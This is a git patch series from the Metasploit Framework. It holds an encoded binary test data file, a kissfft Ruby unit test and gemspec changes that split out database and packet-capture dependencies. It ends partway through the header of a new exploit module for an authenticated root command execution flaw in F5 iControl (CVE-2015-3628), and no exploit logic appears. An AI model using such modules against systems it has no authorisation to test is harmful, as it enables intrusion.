zz_kfKn)D~f2Jhsz{GGmwt(dyykML=DT!Lv)%O9NQ`w@yDb<>)r<YTGEM<xxMKF9V} zKTX@jEzk6&_)$<5Cm?G1qX5%N_FV4ygV?Dh)Xykg<By6wW7FM$Z6A>}=^bugk~0yp z=MO44@JFa#COKH}M+p0HpR@T*1*-$%+Y^0FG^OKe<wO5b$w&0)p`h>s>^yp&p*A5D zkrM=e6u6HCvv~c^@|arw5nHyFG66C_{Y_Pa?xH&)qgykD{tACZZ$(?cd3p*UTYuKW z8FH+roXhivSMs_Y%xYTvE_^AvE}bU!9fO>p2TruBM`~ZID+nZ>x=E3ytATUN=Z+x0 z@A)fm-6Epqq?}SQmsRG#W4xfb=Z}z`fxn0%D&UWA$VuQIX?Zdb{^^fU@~pMh1xw4z zc~;zDlGzg_YSqteZbi4k@+?{;j?r^tIzx(gqP89>bRe@t$;ZmT+qxyHypuT1!Z`t# z?kj5G73;+c!yh>)P~)DgU^vY^Qkz1r4Z-6zTKN@ok1Je);4T4Mg8Srl#~j8I)?;T~ zH0<NlN6k4iuY^^H&1&l6_T){;#~`tkeAMuVRZ(?&(^MI_Q>&)2OM1Mi$hZ6vsn!JF zMrYwbPQ{=m=KW!RR5e=F1TqsGw<Y|c{9{73Z-$~KW~)SG;5Z#|T5Eb?W7lzOS<Zre z7&%OnLZ{np)Z2<b8c*ea_%zct)Y9JiT)@nCYJXp;stu<$2Gh7BicY4;_#-0k35c3^ z6A)Pq<E2&s(apikw;1Q4FrPzya=uLgvQ+k`3#<C*New|_7d6k+?#qu+@`LVGG}dum z^|r1v#PNr{c^3tS9}qbw$oFD!j?bI`;}5=>v0nZ>qmmG`9%Vw-v;v96Z(|r_dtBfL z{X*UG2eRosd0vY5S^NBB%p6|;>qS&;_+8{p!5#jKkl5w#(ggqH$>XV1*GT+d(YqCu zy}YUE`X2B4k(;1hEzKz?RUG{L9>E)(6BJAQkTdrPH+w(0y3P7KeEDC9aLSJ=W9mA_ zA3!PNA+v8%?=z=5r6_r~zasA@RCgQoOEvxPu5S!a{_lT6;^cOQCtvE6$q&#h1xUPd z{Q(#LpdzpAk?+^?M^4lkPk97#C3x?N%}kW=hvrsv^P}e7Hk}=n|F5`jdT8E8X+5bW z)srdwQJIHcsDh4j6QN^Jp{UDigiRm0M-L9>G&)Q}&&g8>8|*X0j(?9IhIVej1u}y| zULp5irgTf^zJdYjzyLMVnoH1Y)~n!;L2uLzaf37i^8NW!l=7gvp@u#n|JW1t8f4)- z|BFBC`GebVh??C&pBKN0-xAz1$?7TuVm+HjQFWC4+4OkZv`upD2eeU3g$6BuxTqJM z?J>XNkNPn@jH%zwI}`Y0Le3=4`<7LfP6i+NHtbvD4{1EO8rLoM{86Ih@l>QPSsT{z zzgcg(rRigDqIR=CD0z7*oLHyiy&o_FiA$kK+sh~2N2c!QR*C_ufzyjpIOWgmI{1U% ziIx|Cyg5^m>1b|Vp4$QaCd^pg>^c*)d`1S6v3F+OU(Vo%o)i^yew5)paighrh_N0~ z<D>?>-yv-}1`UZz-0dyXHpQjK!c^$0>1y!40VfS4{;J7&rL$l?MXh^kz+vmcOrP@S zAzY!mx<92$vzeRUqLq^~Q%&X)1osL4RYDz`9t$~~WKFSkftFNR*5qdF5Z5&$tis`$ zG;7#uVm@gT=tYCrhJ9IY2#T-<%0KLV!7&|O+^gS9+Fm4ncYoA<bDp;Rk;BwmvL^9| z^W3JW{3ZFv5>^@FZ*oHKdHz(gi5n$9JhIj}|FP@1MaggRRD#Rgqpcwoi)$sXosE(o z!ykoHp*Hsz;bPdig^x<(58`Lf@gDgr{>bh!qW;<QM@|N^C+5v*W_h&c=J)VQ%1{2h zg+G{!B5NY%zt|7;_f=<oWOwmf`YnH`!rUUUP0>V`KF4-$r9{a;*gZ&vt2S{03OWm2 zM^_2=$I2dU+Mn#v_#<MiSZTZ<z3*{;S`r_cmwga`6u)xv0<sd&1rD!${xN1oDC=cp zP3$d~;oeEfvqP>rIbwP&J~bqc9Hx0C&&|4xC*LA*WlFwiD}V)PV>g(ndS#u8{LQTO z{Ir0%i1w~hMh_M*I`4pA)6<w5$bhcn&&fWP_-?^@eGEah@Dbj@zp8P9gv6C~@D}Dq zC)B%{d~i`Wt^-ccf4)m9e2S&y8~y-^$3kLXZDs$n)){k;ThAYMx|QqUoYgmuKN2`E z19NLMo90#`cJfys8{SH1f%asrkLhzx%rOj7TJ@b7v>v<q-J<1>fE!Fw@q$i|DfALg z{_W~$gr`!!HTTF`KCF)pZ9sKl4L)9VyF<yd4q$0%bMrM(+jNp4Zq=I*^ORn<AKAs< zk~7ud+KLQB{1Kw@IA`V~mBt@6SvhqxV?9;{{?Knp@TEX|MeX>*ZorzqrQ{>|#Ft4! z@duyN+~eQ{e<<ofcS>JqY}KNes!a~-Y3?zFDOO!MSVK5ZbMxQg)Az|rMxH+=sHNBE zy=6^ABnONArMZ=fv7Xk3)uB5rb8jnhn%JTd5)ZY8P7}NQgU*l{NX#?SskL6d`1cqj z4qN_+#Qj7)>T+w2@duy&H!Dp>KSaq(N6_8g(Os3An-_n`bsO~(lt*=&z#j|dFs3}I zQm&il4>ZQfxV2$D<Bx%PD&-4LB?SATEB+|ZX*1WO=kgD`IlH76<I5)J<(w4eFTlOz z5aN&gAp{55ABQQZ_Ay=lpP0&=N@s!_6P!4(1<nJ5;g1Y$y2NSBEo+MXX|5lpM|+~J z*5yoc1D4h>Zj`)kKf~Q#bdpBNi>sM?q!SGXx5No@{J~m)4&S0#0?!|y={>3s=WGdo zq~ssOj+$SSHR&EVcXP1NZV7*^L1-#u-HJ+f<oToG29r6M1`=DxZHY@JMX&>jd6H7P z#tQ|}Y~{U3If$!GU54DF7dR(K{+0Ua!L-+$+XmTVYSATb2i4K87$6b@*xciYr#w8d z+Hgb-=dDrm2@xkC#t>g6l$y8yLKpJQfUK!d2NwQU1k=+isk4kHS$h5`QSx<z#4c)6 z@>KSmr{be7f7iPS0@p2VpJT1b!135sBQySB_p{dd)8aH@wF20d^|}vW+fnypDxu5c zkTsQqrMY>%Z(dzl!($D9gvvn30=LJ{z(ZC?uAAi_$=$AtpWLvX^RM7w-gS#6F1+K) zi6okz&-t~Ir?ar8vKOds>G=b^LHB`u)PdL|>^RnfX9ovZzE*ku2ySQKz(>qIPFdIK zNy_45vX8Iu07mDny7SoYHT)40_xPy0k~7!A+f+00_EP0$PBq$Xulb`@_S&cq=FBc_ z+NN}VfMHtvu$Ky@Dixts`IM>E)MbyR4_R?gDSz4@*LupJKz7Rx?JdZfxc!~oAYb#7 zn>~to(TS;wB(~dm`o<se1H16RU6-&PE3K-HIX4w=iOC%jd#zjkp2KFrTb@dAKeisd zxJ7K%@!!Ma4Bb~4+C-`mGb5xu7hcV+uwp#rk8cLX9|3;PqN}-iy>I>-T+I?(n~{O+ zQ2Dwq6ijojo2n<wt>khV#nt9F@jR&=XSb}O)5PsOqu%$JiGv$Y#VUI<Dtqz2OUI7p z-3y6hoFG;~^$*8KcQg1Se2zVT#LPYBM9n;-#kRr0ay`7SU=Vln{H|LGjrl&i&W~_4 zt7ujKSapB82Bs%4#Cqx?RpPV{@5o|wdYUz~>gf97sWklY7jj|e2e@Zq)0#Qm(wxV3 zW;L=2;lqj3ME=2dqyiGcAN%7gD*QNX?1JWf^E)s@uG<bRubsmW{K4JQM|P~3-uNR{ zx58;c)KSYH5gfcykDlAtLI*?Qyy?;N-O{Wi*f&PWvr|3mmF64h29wBD3N34@Za3Z6 z<ZHQ|r<$sN2(Ar@@NcNK&rn0rdBGVJe`xLzZ0Qm6U2vZnf7C=BdN(?@)0{sH>G4+7 zpo90?3+tBViCiNwe!vSqSvS<<PN=d6hZ=wM)msY^lh1qpU@a_bT6B3g0sJBCN}ocj zpu4$8;Tmr7aZCoX1@EZx-mGxlvb(}Cu_6!HbcVt-Wle4V0s7rk4%0ls7B+3;k+@Np zD0#b!P&{M&!CKRw{Ga9?SFnH8WDsb1G6;}(NKT&{OW?_}s+yaB1!9a(Q*h1w7cux3 zuwLL?H!%p6gc04+sZ9{_OkLkG{6TH?61C0#1XM@Ew~#obPbIr_OWU+&b(?G2M%@bJ zAL5UaoOet&Qe|w*KDkfek4g7aDxve^mh~JTxA3(3R(@n>%!xTXu=+fOoXpjb#j+-z zlJQ4&H|mk!UgjP(YhX&A(<3BSS1I{Ngs1ZPTXT;wN?w&cPT3WI1n9oh)qy;J#GLQ# zk@^n5Ik?x(Oe||6$1(m;*Kq>2eaX)U^db*o@Q`y_d;ZuTU=>)8-_y>`SJcQtIj&AM z+WWdv>Ke%fiLDEvqT@WgeoKtiBj?ARkhtZK!jO23W{I`uZ0-?+cv_SB?6fz*fZ#Uh zZ@{&`(d~9P@taV_CC<eH?*iRM)>Koqas0ubrIMftbau7JpvascZlO|-_mx)?KWq(& zi_6>!dTxLpz_)WMRIJB2TjHryI=8GgPsB9#!tFWpayXUNIXq|XaUk~{ysdhh?#3$U z!eZQPtAMQFk6AbDydvuKIaK~42a7+QJ`c_VaWz>JC&&0BAsfn@s9j!xCr@4h2lM1z z-?7a-?iv-^@=QrRl8IOAJ8u5I>~7PA{hxFAqlC9&yrA@X$=u@<|7yq21kMv0%R6>A z&#&zJ1mvwd@>bT`xo&&Dv-KShb(S4VX>F{M;C!i4YptlQI-1j`!ntWXL-?er(2`Tu zcSx-JS;)X|%n2%3?Z|pIvb#ZVb_M~AKUguaI45fQZBY@c&b+fl&!ZXG9V66GN}d<= z19nbA{;}!iM4hVEWc<M{qg!D}m4zKbC*VP>hZDq;r$Rt9E^0J!X`Tveco((x$U>OL z+&uf$RT511#k^C5xqVd<q*>sPNd9yWO$^`iS)b3RuwKOOUEch|94so1r@bNFXE(${ z)h59u$l#Bv*GHe^uwL1^3G9)>-jF!5swZ)i4F$~pu=ks38|M>SX9!WWRaBz3H@BBB z-Hs<_1EpEaRgY9_BI-|!KT?!$_*6gD&toE-fNPrPc60Mv9HKS+fhLBj1J579ebyh~ zG_uw&ly|M%>}qZ$g3T&C`BX@(9rFM9$J}ixd7g=Lg2Z|#sN5-epBa?eAt3Rn%im}Y zRAgDxrpx*A{E_2ejgMozl^Oe(dN~Szd8mD6GCt{jkCk;`@x9@X3id(Ci>uXLVEmyc z`lhK6i1pOn&jh;OG8Q+Uil4S={eUJ<;d4`)H)D@D7G=-XkLx2H`aWALq!Rk8?pK~a z*0!SRbo<sSO&Kw#%9)HmYIgh2R(-ec{4Q%mt!mP<H$IUyaeh?)pgNRZvzdR>jyle3 zyca&@xLTOTw9Uk!h^wX9x!s`TbKmn9%XK5_IW-LNN98l)syFI>!EIMll!V*6Kca}f zfIntrO>1Ii-@qU#`N!6J2EZWGRRz4q_wN4<O<cODseceR*^qoGo<*yP3-770UtRv; zJ40MoL*(z<i!AEJ)!bvL3OdseQ!<~8@keDSFu-;Dj9fz=h5DqI^kB{5j~v`U@vzSI z0|+5?ildLJ>IN=rviu{$C8NhoilE^SW3!>y?1iUN*t8AbuH}!CdZfJ2%=jbn9!+w; zlPBNKt(0=zo`%O?&&od%_#?2n`P%yNTs1oGaJq1bCUBvueYtaFj6d>+@ELD|s98n1 zZk|8X>l3S1>v@5vN;D%l_`)BoA~%?9FW4v6qaK+))8}aX!AVpHmd!n)LOp-*Y{+|R z)|w~ZnVGjnd{zNb@8b_t{pD+cFjmnSq2#y6(EfCcgT;5|N$suP9my-SzA<*mJv|zi zXn699CbV}G6hdO<ANJ<m4D8FDGb?}2rZsDMp?+?Km~rs}Jk#&a=@ozE@W=e9xyJ=A z<_ZT(ca25xM?wdrz6(3PpZJ|4{;1{IscK_$D>eO6xVqwM&mTl@Z*G4JiBa<TO>$L_ z<U4}IWIm0O=LD2m>!*WGfS+4o4d^tP_5KQf)U6+!lQpf0TKth;&CO5IL?4iyPKY_U z%V3ZS{+M>A!Zi4Um@WT^@i^Cp#1^&HY6~g^IQlQ#?eh2h@s)Y<(Ul8c-ST!Pmw_AF zu#^6%AL-EVCT&%=fIlX^uTb)}PSj%!2IRPIWB5aJ^WUE3Ti~?tGe<4|9sUUV6<R*R zlL_uC@{c)Dvt#MN;;B33O_e3kK9u6IN<slIe9aoh4H9d|;s<Ol(>5SBXN_qaJZdQ@ z>pL!$HT{u;#Q1Z@9}$)0;y$~b^w1K<A0Zh?2paE?%0|CqS7>g2dkD!u<ZKO3njozD zmAoMHuaqe!(!?m4xaE(Uj`K>r+b(KpVw5~5f+}jiMPlNy9zFgh?Ie9Wyq5}hVu=$J z8-K*EgZFVuw{*hqjlA0z-0r%(!w#lcn<J>4$#uG^Q(+6|rDTDr<sW0Zr9lVvy215@ z>gV@WkN1uewOgA$JrU(T#F-78FJ<}1fzGOg>L{NR5{o~?dT8SDab-%LsL5s7*Y73w z6V7d@+5{ChK10@&KMqmySuZ31NN`pwwEPT3CWmcJ#xy?3!Fq??{4w`~%yHdVeH2p- zf224;uUKn)QtuY;@q<FiY}!Uqvx=_o7_WVOt>m?exZ4x_<hVg%#~)zd&T3?ZDJVr9 zfW&wzmZ@`6;15N;KRm#<NuRh;W0`eeeF;}orwzK|8|u+DdS1>2y^qXN<i;N*{E>n! zJGm3qjZYk4P-OM))FH9gx+O|}eVD!FZWm0^jGM}y*UlwKTna@DZP*_+OEDsQ3^glt zsU<({58u*vJb^zl_+!!=bwegp<ie_&pcxSKJ^V56fGnKR8bw{Ub1VDfpc^RHbNpdh z&PcOAjVAU8n>W=_Kld0(&ruz1vCkBL31V~8fX_czY5u+hB>w))@3s7+w7jQ=^&<Lz zCh*6oM}E}l(-r*&?e@m1{u3%7RgYc6xA~HZYW7FlH4q!q)5YmoDw2N%fAB=r>(j8F zIYIRkF2+U43mvR8B)xRISq2_Hp+Y@>6z><*64<xBkLc@ht5s69Ngu=KG4)&V#|{RG z(Glus8i5wvad$I;KQj0uApaQj*eT>(vG35}Ow*T`9;l*96JPO1(BIR~Qoc~~>QiAS zxtgx|0R`Ci>$z4>kendnkC+)DRpbMA*Qj+WR&=v|i3e3%{t-WfoG0nX-HEA5^5-wD zA7p+SpM)CpNp#3Q!Q$*Lvs1e0ESmjg{6XB*yZsYY)bI!E<KGt?H<+dg!rw#u<Nzff zwfqsGiJ4+;d;?RfF%|jYNtz|H{DaTKdR1@D-V6`vQx1QmPpM(<i0tE66os4>P=lZ4 zQSW<1R~fcM@JDqQ+_HZx>eBN^Eaj~`X&e$8!s^slw?DCl<#p858FBZVi(!iYKvt;R zo9b(f6ze^#rCAJ1Bb0b#tk<Wzd<#c}{D>#E)MqBBAeS?NYh)nsFTC=@dDlsB-G~|f zC@kmt_RJYKyzl$DmHe?#pUO3V3^IGuPJBUPKY>1K`~YLU0!$mp4|p;67(R|s@`3%{ zg4Igy6S^e!H#_5xl*q=%A!s~<^VF%Zhx791+VjU8jW>Yx63yCJ{!!c~{f`=#4A-p> zf5c28@po8-+1v?OuP{%AHEcW;L*kMiy~!1SM6h0QKR|_sSNsvv6|_E}5<Gtd_rV?6 zcXvy!F@-<YL|hQD_~QdQLfFkmDUX~CBsKmR(fz9@Ma;$@1)ZzvmjcsT{s8m26?XF{ zB<A-xPyR(`2%fyV`Ly*7CcU}mkMf`FH=6)ig2W5UKN3z;1$qtO>hIu>6&c8k9+r{} zWNiFFehPo2xCHC~@g7QkgFfLYwR4XdieN28ps4-aiq>$`DXyk%B9J)fuP@peBrch@ zsr7~|xr(lD%rLU*y@LJu8;w8sUoxNNAvrHRe<W1>XWh7?`<W8<@eNg`MQ7BVb#Zra zf~K6&&{wic{Hy%Ql)Q31IXB>agd(8sqdKFDy5)tJ(>9SIafXuT+j+;R#CvJq+>Res z(7_wo`yPKihX+tn{*@dovZnPRI1k|u^5Nc&=%$^2Fj1j9k5p$G;A&+sh}bYE>YS`8 zb`=o5bIqxs$NR<Hqm(@CsA!zx(Hi1ze}0oWCGYYNtL%N(sL-~nI>!qQ;18mGpO|62 z;y&Qb+IzoRM2_nw)~oPO7UXnfbvRh+XbSkD+v;X#&mbWGkn-rGi8+b%y0N#kzsMCq z@|%FDIbF67`M)T6ZbG=$#OA3;$ro=S@mE6P3xDX_QBfIq{^0MTcBQCG%Y0a`2Y%y2 z_>{wX8@k<e?@G>zOVF9q)0`dsGdCBYg3(Ljj|`Q!>Bwp1+5ZtUx5AHg9&sz|m21uV zkPZEG4qs?u&Jf+w$)!in{ABf)<<1K=-4~l$orA=c)`9cQivOj$3;JU+pV0UN9C!+! zmtgVX^b<Sy7j^|xV#lfR$Ku4@7Vt-cx4|j84?x5j{%EeK<+_o75DR`2d0`W^SLg|I z^Yz73QI2Y!$_(r)E{Y%Rym3n2&pq;~ef}^$PCJ#{LSZQkkidE&>$N?kAa2b%r-$V+ z!wq^(#7zZ+^Je^^yDb9ex>^1a!1S;gQL{JjoBF@SuvE(YRG=9lmsi*tO3ByPp1f7| zmWF+W^EmBu#r+0P#a2Q7mHmD7!}h?etsH9A{dMyrT@s<qJ+2QaKYP}B1?TB~^NM*0 z7Ki@(NaO7~S-+CLWNsz;OLCvl?G{>=6JO0elHsZ|y@}daNBP{9l8^CJQYw2Ov7)wK zaQ3X;>vhVl`+;?^tf@w6@qXoQLjF;Zfw0p3U3b{|+W2Eh2Er<ln|{dod&AzCA49M> zhdua*d^<a>>`4)^=Z}mVu;2wSjg^-E`i=cfUNLcOCgtEeK4$pI@t-<Fq~s%Cw*>j{ z4Jwp;?kj~Qt{Xd!8U}CKweu9f9|0>pg7v<GmlrUI`lOe12Ms$Vx^sR4Td3L)ljR>N z-CK$}!gVWDLB|70?gplb%a%V_A1VaQ5?%UKR3k&r%`ZycyWlxp4WNzZkK(_y)&VyW z`}6I3k#N;hkl67@)#q8G<`?t^>3zZSkH4gAYzKn~?>-~jX3xCEA9SW`$AX-Z@rRT= zKGzk0uov-Ea3mWf{=as=5z{u_PZnZ3)??Zxup6+5R{j;N7s38y;D=BZPUDY~41)bn zPs)TmgH`S=h)y>LtLm@2Vm9E~jQ=w0DQ}&FEUdK6J;vlO>Erf54sNq}#Qfh{n}W6B z+g<Vs?GdJJ==HgJ-{S#4Ah`Rh^(V8Fj6e8xmVr-PN0;#jt3l3-CZ>kL6aH68)ux7R z*N1{is2F*K=QcE+o{)jSNW=`5_p3hp2L51G$@T0zU-1WTn;`1K^G9S#o{n>e#C~oi zM#-;qkDfev?Q4(3dE*4R{6pW4S{m4?I?&bJe5@V|@hv+ur)rZv50Ay^SNg{K?A*`T z83)*7eyUDC!r%+Mpo9uY0)LP<bptSsXHV4z_RzVY8wQSSqLzPU6@vDinckh?vk&`Y zB^BzcsC?2~46v_p%XP;MNW4FQO6E_qJ8bST=`(p{{K0-E1F4x1TEo>pvKwyblXi3S z^Wze?<y$5|Mm<)!<&RaDDSjz$^FT_6K`8kOg<f2+3WtXZ!CQApmH(PH*yr<)Vo==A zQ1YB>&mZ6#6Cmru9v&^=j{+<$?2TKC4xLtH$2I(sl4(p0*>r!YDj;(_qR{wbeSF0k z&3cvc7iA#)>558~qUP`ZXK8p}vNl69%E(2ndcIfkeC|rgvx+u>{`TiaC@6N^)!!H6 zK5`TB6@OH?l=BX~cgLlVO=~)UJ>1;<6f91kbG}cFhY0e)dX?+I5^LUTZe{7B_H&P{ zQsb#OHq)Hd`vsLf*6_j~Hf<AveLT1KBI6JD?J{m6<^)KwIPN#4MW?yvkAkXAa69OY zJKr0BOvymTs2}wQeaPO}kdveb;%)h3ewua?vZmr{?$IG}{IZk7ItFcrc>XBRb7PRW zZ0nJI!@j@Y@Z{XwqiPApADmm|sAv{`elN*T>*qk35BYpT*KuO5Tc4^yW#{d1dc$4E zTRVj}Oc2_>dCYzO5kBvaDO}C|@TZwr?iSs(kl0l{HMfG3T3_yxGIRj_-p#0v))yDU zV;?uMDYF)<TeX!v+jp9U)wa3E64t|=;|7ySF9W;yLCvplR(>-6kmok+tUTU*0uryq z)DJNZR%v+vPva)JQr?{B`&n-#MWCoX!j>p`w}!-GQAZ%L^8;e}0rt7RM`E4Z=xXjU zphs_eNIicLJ6ThBSkYZRA^#9dtcba}?N}9bd=!`k_o_F6!O6DGM~d6I$K~NuqApz4 zr24t>$H?4?ChES`$jA=l7`dpKTPg69*Oy5VSWi*cVBesZ=$#@Bi^6)L`a-YRHU-t@ zr;m(3CU|b@8skn9{1wg3FFGr_ne-GgGS?}{61wj!rYHX>dE*ne8JJ5}*xX7a{@`sz zp?bWvhUzJ`Zt1c0=<zA7wV$?0n{H|A8!P#C@x$;45*vRIx6M6Pyf1j{@-^F;tn~Ai zsC6^UkSddU^SEaLMWi`iF?a<QSLWCz{R!P$Af9#bmc}0?PEe&Pi=HU^kQJ2wd&lif zI`eJCF2<Q1s?X6Wd9j{mE^xQ^2X>pQw%P<p$&{RROG{}f|FF5ojWQp!O=>9c{{aYN B1;_vZ literal 0 HcmV?d00001 diff --git a/external/ruby-kissfft/tests/test_kissfft.rb b/external/ruby-kissfft/tests/test_kissfft.rb new file mode 100755 index 0000000000..12fe8dd4c0 --- /dev/null +++ b/external/ruby-kissfft/tests/test_kissfft.rb @@ -0,0 +1,47 @@ +#!/usr/bin/ruby + +base = File.symlink?(__FILE__) ? File.readlink(__FILE__) : __FILE__ +$:.unshift(File.join(File.dirname(base))) + +require 'test/unit' +require 'kissfft' +require 'pp' + +# +# Simple unit test +# + +class KissFFT::UnitTest < Test::Unit::TestCase + def test_version + assert_equal(String, KissFFT.version.class) + puts "KissFFT version: #{KissFFT.version}" + end + def test_fftr + data = File.read('sample.data').unpack('s*') + + min = 1 + res = KissFFT.fftr(8192, 8000, 1, data) + + tones = {} + res.each do |x| + rank = x.sort{|a,b| a[1].to_i <=> b[1].to_i }.reverse + rank[0..10].each do |t| + f = t[0].round + p = t[1].round + next if f == 0 + next if p < min + tones[ f ] ||= [] + tones[ f ] << t + end + end + + tones.keys.sort.each do |t| + next if tones[t].length < 2 + puts "#{t}hz" + tones[t].each do |x| + puts "\t#{x[0]}hz @ #{x[1]}" + end + end + + end +end diff --git a/metasploit-framework-db.gemspec b/metasploit-framework-db.gemspec new file mode 100644 index 0000000000..c58aad66dc --- /dev/null +++ b/metasploit-framework-db.gemspec @@ -0,0 +1,39 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' +require 'metasploit/framework/rails_version_constraint' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework-db' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework Database dependencies' + spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + # no files, just dependencies + spec.files = [] + + spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + # Metasploit::Credential database models + spec.add_runtime_dependency 'metasploit-credential', '1.0.1' + # Database models shared between framework and Pro. + spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' + # depend on metasploit-framewrok as the optional gems are useless with the actual code + spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" + # Needed for module caching in Mdm::ModuleDetails + spec.add_runtime_dependency 'pg', '>= 0.11' +end diff --git a/metasploit-framework-full.gemspec b/metasploit-framework-full.gemspec new file mode 100644 index 0000000000..f3596ec32f --- /dev/null +++ b/metasploit-framework-full.gemspec @@ -0,0 +1,36 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' +require 'metasploit/framework/rails_version_constraint' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework-full' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework with all optional dependencies' + spec.description = 'Gems needed to access the PostgreSQL database in metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + # no files, just dependencies + spec.files = [] + + metasploit_framework_version_constraint = "= #{spec.version}" + + spec.add_runtime_dependency 'rails', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + spec.add_runtime_dependency 'metasploit-framework', metasploit_framework_version_constraint + spec.add_runtime_dependency 'metasploit-framework-db', metasploit_framework_version_constraint + spec.add_runtime_dependency 'metasploit-framework-pcap', metasploit_framework_version_constraint +end diff --git a/metasploit-framework-pcap.gemspec b/metasploit-framework-pcap.gemspec new file mode 100644 index 0000000000..d00e9720ce --- /dev/null +++ b/metasploit-framework-pcap.gemspec @@ -0,0 +1,35 @@ +# coding: utf-8 + +# During build, the Gemfile is temporarily moved and +# we must manually define the project root +if ENV['MSF_ROOT'] + lib = File.realpath(File.expand_path('lib', ENV['MSF_ROOT'])) +else + # have to use realpath as metasploit-framework is often loaded through a symlink and tools like Coverage and debuggers + # require realpaths. + lib = File.realpath(File.expand_path('../lib', __FILE__)) +end + +$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib) +require 'metasploit/framework/version' + +Gem::Specification.new do |spec| + spec.name = 'metasploit-framework-pcap' + spec.version = Metasploit::Framework::GEM_VERSION + spec.authors = ['Metasploit Hackers'] + spec.email = ['metasploit-hackers@lists.sourceforge.net'] + spec.summary = 'metasploit-framework packet capture dependencies' + spec.description = 'Gems needed to capture packets in metasploit-framework' + spec.homepage = 'https://www.metasploit.com' + spec.license = 'BSD-3-clause' + + # no files, just dependencies + spec.files = [] + + # depend on metasploit-framewrok as the optional gems are useless with the actual code + spec.add_runtime_dependency 'metasploit-framework', "= #{spec.version}" + # get list of network interfaces, like eth* from OS. + spec.add_runtime_dependency 'network_interface', '~> 0.0.1' + # For sniffer and raw socket modules + spec.add_runtime_dependency 'pcaprub' +end diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 42ecd12018..2cd9c6bbb7 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -44,8 +44,7 @@ Gem::Specification.new do |spec| spec.test_files = spec.files.grep(%r{^spec/}) spec.require_paths = ["lib"] - # Database support - spec.add_runtime_dependency 'activerecord', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION + # Need 3+ for ActiveSupport::Concern spec.add_runtime_dependency 'activesupport', *Metasploit::Framework::RailsVersionConstraint::RAILS_VERSION # Needed for config.action_view for view plugin compatibility for Pro @@ -60,10 +59,6 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasm', '~> 1.0.2' # Metasploit::Concern hooks spec.add_runtime_dependency 'metasploit-concern', '1.0.0' - # Metasploit::Credential database models - spec.add_runtime_dependency 'metasploit-credential', '1.0.1' - # Database models shared between framework and Pro. - spec.add_runtime_dependency 'metasploit_data_models', '1.2.9' # Things that would normally be part of the database model, but which # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '1.0.0' @@ -71,16 +66,10 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'metasploit-payloads', '1.0.16' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' - # get list of network interfaces, like eth* from OS. - spec.add_runtime_dependency 'network_interface', '~> 0.0.1' # Needed by anemone crawler spec.add_runtime_dependency 'nokogiri' # Needed by db.rb and Msf::Exploit::Capture spec.add_runtime_dependency 'packetfu', '1.1.11' - # For sniffer and raw socket modules - spec.add_runtime_dependency 'pcaprub' - # Needed for module caching in Mdm::ModuleDetails - spec.add_runtime_dependency 'pg', '>= 0.11' # Run initializers for metasploit-concern, metasploit-credential, metasploit_data_models Rails::Engines spec.add_runtime_dependency 'railties' # required for OS fingerprinting From 893c4cd52d78271b7e72d8c33373713f79bd8bf0 Mon Sep 17 00:00:00 2001 From: m0t <mamaragan@gmail.com> Date: Mon, 9 Nov 2015 13:10:54 +0000 Subject: [PATCH 1126/2172] f5 module --- modules/exploits/linux/http/f5_icall_cmd.rb | 321 ++++++++++++++++++++ 1 file changed, 321 insertions(+) create mode 100644 modules/exploits/linux/http/f5_icall_cmd.rb diff --git a/modules/exploits/linux/http/f5_icall_cmd.rb b/modules/exploits/linux/http/f5_icall_cmd.rb new file mode 100644 index 0000000000..1fe0fb2f1b --- /dev/null +++ b/modules/exploits/linux/http/f5_icall_cmd.rb @@ -0,0 +1,321 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "F5 iControl iCall::Script Root Command Execution", + 'Description' => %q{ + This module exploits an authenticated a privilege escalation vulnerability + in the iControl API on the F5 BIGIP LTM (and likely other F5 devices). The attacker needs valid + credentials and the Resource Administrator role. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'tom' # Discovery, Metasploit module + ], + 'References' => + [ + ['CVE', '2015-3628'], + ['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'], + ['URL', 'XXX GDS BLOG'] + ], + 'Platform' => ['unix'], + 'Arch' => 